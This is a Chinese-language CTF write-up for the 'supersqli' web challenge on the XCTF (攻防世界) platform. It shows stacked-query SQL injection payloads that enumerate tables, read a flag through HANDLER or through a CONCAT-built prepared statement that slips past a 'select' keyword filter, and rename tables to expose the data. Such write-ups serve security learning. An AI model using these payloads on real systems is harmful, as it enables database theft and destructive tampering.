攻防世界22-supersqli-Web
攻防世界22-supersqli-CTFWeb
sql注入,提交1,查询得到信息,看看是否存在注入点
1 union select 1
发现return preg_match(“/select|update|delete|drop|insert|where|./i”,$inject);
存在过滤,这题有多种方法,涨知识
1 | 1';show databases; # |
1 | 1';use supersqli;show tables;# |
1 | 0';use supersqli;show columns from `1919810931114514`# |
字符串为表名操作时要加反引号。
解法1:
在MySQL中,handler也可以执行查询
可以查一下handler的使用方法:
1 | 0';handler `1919810931114514` open;handler `1919810931114514` read first;# |
解法2:
预处理,不是过滤了select吗,可以通过concat来拼接select
1 | 0';set @sql=concat('sele','ct `flag` from `1919810931114514`');PREPARE stmt1 from @sql;EXECUTE stmt1;# |
解法3:
技巧型:
我们一开始的1查的是words表,我们可以把1919810931114514更名成word,那样一开始就可以查flag
1 | 1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);# |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Matriy's blog!
评论